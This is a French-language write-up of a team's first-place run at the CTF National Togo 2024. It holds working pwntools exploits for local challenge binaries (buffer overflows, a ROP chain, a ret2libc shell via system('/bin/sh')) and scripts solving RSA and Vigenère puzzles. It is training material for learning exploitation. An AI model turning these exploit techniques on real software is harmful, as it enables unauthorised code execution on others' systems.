Post

CTF National Togo 2024: Writeup, 1st Place

CTF National Togo 2024: Writeup, 1st Place

CTF National Togo 2024 CTF National Togo 2024.

J’ai participé au CTF National du Togo sous le pseudo de 3ss0w7r30u avec ma team n0_m3rcy_f0r_7h3m!!.

L'équipe en action L’équipe en action. L’équipe n0_m3rcy_f0r_7h3m!! en pleine action pendant la compétition.

Scoreboard officiel Scoreboard officiel.

Nous occupons la première place: 5751 pts, loin devant le 2ème (3851 pts).

Pour les photos de l’événement et le prix remporté → voir la page dédiée

Avant de commencer, je tiens à remercier toute mon équipe, qui ont travaillé d’arrache-pied pour qu’on puisse occuper la première place. Mes remerciements vont particulièrement à l’ANCY et à la CDA sans oublier les créateurs de challenges (Isid0r3, Sergio, H13ris, assa et 44r0n_M3T4).

Je commencerai avec les challenges PWN qui m’ont particulièrement intéressé. Je rappelle que j’ai fait un First Blood 🩸 sur tous les challenges PWN qui ont été release. J’en suis particulièrement fier !

PWN Challenges PWN Challenges.

Challenges PWN : isSet · isSet2 · ASLR · JumpMe · Baby_BoF

Il s’agit d’un writeup, je ne tiens pas à faire un cours sur le PWN parce que je considère que c’est la compétence avec le plus de barrière à l’entrée parmi les types de challenges du format JEOPARDY. Il se peut donc que certaines notions vous paraissent floues si vous n’avez pas le minimum requis.

Malheureusement toutes les instances ont été stoppées, donc les challenges seront résolus en local avec un fake flag : FLAG{********FLAG-REDACTED********}


PWN

isSet: First Blood 🩸

Le but principal d’un challenge PWN est d’exploiter des vulnérabilités liées à un binaire (exécutable) dans le but de détourner le programme de son but principal, et même obtenir un Shell distant.

La première des choses est de voir à quel type de binaire nous avons affaire :

file isSet file isSet.

Il s’agit d’un ELF 64 bits, dynamically linked, not stripped, le binaire contient des symboles de débogage ce qui facilite grandement son analyse.

On vérifie les protections avec checksec :

checksec isSet checksec isSet.

Deux protections actives :

  • NX enabled : La stack n’est pas exécutable
  • PIE enabled : Les adresses des fonctions sont randomisées à chaque exécution

Exécutons le binaire :

Exécution isSet Exécution isSet.

On décompile avec Ghidra pour voir la fonction main :

Décompilation isSet Décompilation isSet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
undefined8 main(void)
{
  char local_3f8 [1000];
  long local_10;

  local_10 = 0;
  printf(&DAT_0010204c);
  gets(local_3f8);
  if (local_10 == 0x6465616462656566) {
    win();
  }
  else {
    printf("Pas de chance ! isset = 0x%lx\n",local_10);
  }
  return 0;
}
  • Buffer local_3f8 de 1000 bytes
  • Variable local_10 initialisée à 0
  • gets() sans limitation → buffer overflow
  • Si local_10 == 0x6465616462656566 → appel de win()

La fonction win() :

win isSet win isSet. win2 isSet win2 isSet.

Elle affiche le flag. L’objectif : modifier local_10 via le buffer overflow.

Alignement en mémoire (stack) :

Stack isSet Stack isSet. Stack 2 Stack 2.

Représentation visuelle :

Stack canva Stack canva.

On entre 5 “A” :

isSet AA isSet AA.

Stack canva 2 Stack canva 2.

Notre but : remplir local_3f8 pour déborder sur local_10.

Stack canva 3 Stack canva 3. Stack canva 4 Stack canva 4.

Calcul de l’offset :

Stack 3 Stack 3.

0x3f8 - 0x10 = 1000 → offset de 1000 bytes

Solution terminal :

1
2
3
python -c 'print("A"*1000 + "\x66\x65\x65\x62\x64\x61\x65\x64")' | ./isSet
# Bravo ! Vous avez appelé la fonction win() !
# FLAG{********FLAG-REDACTED********}

Script pwntools :

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

target = process("./isSet")
# target = remote("playground.ctf.tg", 1237)

offset = 1000
target.recvuntil(b"ne : ")

payload = b"A"*offset
payload += p64(0x6465616462656566)

target.sendline(payload)
target.interactive()

isSet2: First Blood 🩸

file isSet2 file isSet2. Exécution isSet2 Exécution isSet2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
undefined8 main(void)
{
  char local_438 [1056];
  long local_18;
  long local_10;

  local_10 = 0;
  local_18 = 0x6465616463306465;
  printf(&DAT_0010204c);
  gets(local_438);
  if ((local_10 == 0x6465616462656566) && (local_18 != 0)) {
    win();
  }
  else {
    printf("Pas de chance ! isset = 0x%lx\n",local_10);
  }
  return 0;
}

Même logique que isSet, mais avec deux conditions. local_18 est déjà différent de 0, il faut juste modifier local_10.

Calcul de l’offset :

isSet2 offset isSet2 offset.

0x438 - 0x10 = 1064 → offset de 1064 bytes

1
2
python -c 'print("A"*1064 + "\x66\x65\x65\x62\x64\x61\x65\x64")' | ./isSet2
# FLAG{********FLAG-REDACTED********}

Baby_BoF: First Blood 🩸

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

target = process("Baby")
# target = remote("playground.ctf.tg", 1003)

offset = 76
target.recvuntil(b"something: ")

payload  = b"A"*offset
payload += p64(0xdeadbeef)

target.sendline(payload)
target.interactive()
1
2
3
python3 baby.py
# you have correctly got the variable to the right value
# Output: FLAG{********FLAG-REDACTED********}

JumpMe: First Blood 🩸

Le seul à avoir résolu ce challenge: ROP chain pour appeler la fonction win.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

target = process("./jump")

offset = 136
target.recvuntil(b"to go:")

ret = 0x000000000040101a  # ret;
win = 0x00000000004011d6  # win address;

payload  = b"A"*offset
payload += p64(ret)
payload += p64(win)

target.sendline(payload)
target.interactive()
1
2
python3 jump.py
# Here is your flag: FLAG{********FLAG-REDACTED********}

ASLR: First Blood 🩸

Le seul à avoir résolu ce challenge. L’ASLR randomise l’emplacement des segments mémoire à chaque exécution, empêchant de prédire les adresses.

On dispose de trois fichiers : aslr, libc.so.6, ld-2.35.so. On patche le binaire avec pwninit :

1
./pwninit --bin aslr --ld ld-2.35.so --libc libc.so.6

Fonction main → overflow() :

1
2
3
4
5
6
7
8
9
10
11
12
13
void overflow(void)
{
  char local_108 [256];

  memset(local_108,0,0x100);
  puts("Hey, Tell me a story!?\n");
  fflush(stdout);
  read(0,local_108,0x1000);  // buffer overflow !
  puts("The story says ");
  fflush(stdout);
  puts(local_108);
  return;
}

Stratégie : NX activé → pas de shellcode. On utilise une ROP chain pour :

  1. Fuiter l’adresse de puts dans la libc → calculer la base de la libc
  2. Construire un second payload avec system('/bin/sh')

Propriété fondamentale : les offsets entre fonctions d’une même libc ne changent jamais, peu importe l’ASLR.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

target = process('./aslr_patched')
elf = context.binary = ELF('./aslr_patched', checksec=False)
libc = elf.libc

target.recvuntil(b"story!?")

offset   = 264
pop_rdi  = 0x000000000040125b  # pop rdi; ret;
ret      = 0x0000000000401016  # ret;

# Payload 1 : leak adresse puts dans libc
payload  = b"A"*offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])

target.sendline(payload)
target.recvline(); target.recvline(); target.recvline(); target.recvline()

leak = unpack(target.recvline()[:6].ljust(8, b'\x00'))
info("Libc leak address : %#x", leak)
libc.address = leak - libc.sym['puts']
info("Libc base address : %#x", libc.address)

# Payload 2 : system('/bin/sh')
sh     = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

payload  = b"A"*offset
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(ret)
payload += p64(system)

target.sendline(payload)
target.interactive()

Résultat :

ASLR pwned ASLR pwned.


CRYPTO

Challenges : Encryptionvi · RSAvi · CribDrag


Encryptionvi: Second Solve

Deux fichiers : key-file.txt et cipher-file.txt.

Contenu de key-file.txt :

1
2
3
n = 1000000016000000063
e = 23
c = 471055156725181012

RSA détecté → déchiffrement avec dcode :

encryptionvi1 encryptionvi1. encryptionvi2 encryptionvi2.

On obtient : 104097099107101100

Le cipher file est encodé plusieurs fois en Base32 → décodage CyberChef :

1
UCVP{ORTI_MZPH_LNEBCSAIQXZL_SA}

La clé 104097099107101100 ressemble à de l’ASCII :

encryptionvi3 encryptionvi3. encryptionvi4 encryptionvi4.

Bingo : hacked → déchiffrement Vigenère :

encryptionvi5 encryptionvi5.

1
Flag : NCTF{KOMI_KPLE_ENCRYPTIONVI_LA}

RSAvi: Second Solve

RSA avec n extrêmement grand → factorisation via factordb :

RSAvi1 RSAvi1. RSAvi2 RSAvi2.

64 facteurs premiers → vulnérabilité RSA multi-prime.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def inverse(x, m):
  a, b, u = 0, m, 1
  while x > 0:
    q = b // x
    x, a, b, u = b % x, u, x, a - q * u
  if b == 1:
    return a % m

n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877
c = 910608573637151766592741646359139555904784321803428631903908521552777131951859943264846191932402055361498833375383031229982671149184931476945992913466889183135416918539956961820558514150083912697984734926228428443118777138784611695369848396345996684825978811495769794000028162328296106538834105679041143112167457232598415865376387117363685043296310893895276246811763099409354508200573619390090997964746798565329562050838200030630642311614753187518105030421307242611249224367001150700929649005704167426797306122940084457886648912809477865187453480840066041235665224721513474626323469389328348619076314546500324660002098406857368395712006506085979376605570852002827440581870285648568821111126184732646412744560252339729285745684255300564198233245551795520488002246541148191891638167766174343956597790791412271287103435898656125200311034726689604250470550962999602813441700239313471735088686090118193986040812649177699990431175510727928479609056957499981828555298181509942252598922669324311388997980627956686857171713789243776386582830964685489639326163726989990782553883048442851867799363438923802846660160105009546625127827041093314684740004973510575753396968680745019510035997596458456708393142128304479225924812035886211226
e = 65537

factors = ['9353689450544968301', '9431486459129385713', '9563871376496945939', '9734621099746950389', '9736426554597289187', '10035211751896066517', '10040518276351167659', '10181432127731860643', '10207091564737615283', '10435329529687076341', '10498390163702844413', '10795203922067072869', '11172074163972443279', '11177660664692929397', '11485099149552071347', '11616532426455948319', '11964233629849590781', '11992188644420662609', '12084363952563914161', '12264277362666379411', '12284357139600907033', '12726850839407946047', '13115347801685269351', '13330028326583914849', '13447718068162387333', '13554661643603143669', '13558122110214876367', '13579057804448354623', '13716062103239551021', '13789440402687036193', '13856162412093479449', '13857614679626144761', '14296909550165083981', '14302754311314161101', '14636284106789671351', '14764546515788021591', '14893589315557698913', '15067220807972526163', '15241351646164982941', '15407706505172751449', '15524931816063806341', '15525253577632484267', '15549005882626828981', '15687871802768704433', '15720375559558820789', '15734713257994215871', '15742065469952258753', '15861836139507191959', '16136191597900016651', '16154675571631982029', '16175693991682950929', '16418126406213832189', '16568399117655835211', '16618761350345493811', '16663643217910267123', '16750888032920189263', '16796967566363355967', '16842398522466619901', '17472599467110501143', '17616950931512191043', '17825248785173311981', '18268960885156297373', '18311624754015021467', '18415126952549973977']

phi = 1
for p in factors:
  p = int(p)
  phi *= (p - 1)

d = inverse(e, phi)
M = bytes.fromhex(hex(pow(c, d, n))[2:]).decode()
print(M)
1
Flag : NCTF{DegnigbaN_f3_RSAvi_Yelo}

CribDrag: First Blood 🩸

Challenge CribDrag classique résolu avec l’outil cribdrag.

cribdrag cribdrag.

This post is licensed under CC BY 4.0 by the author.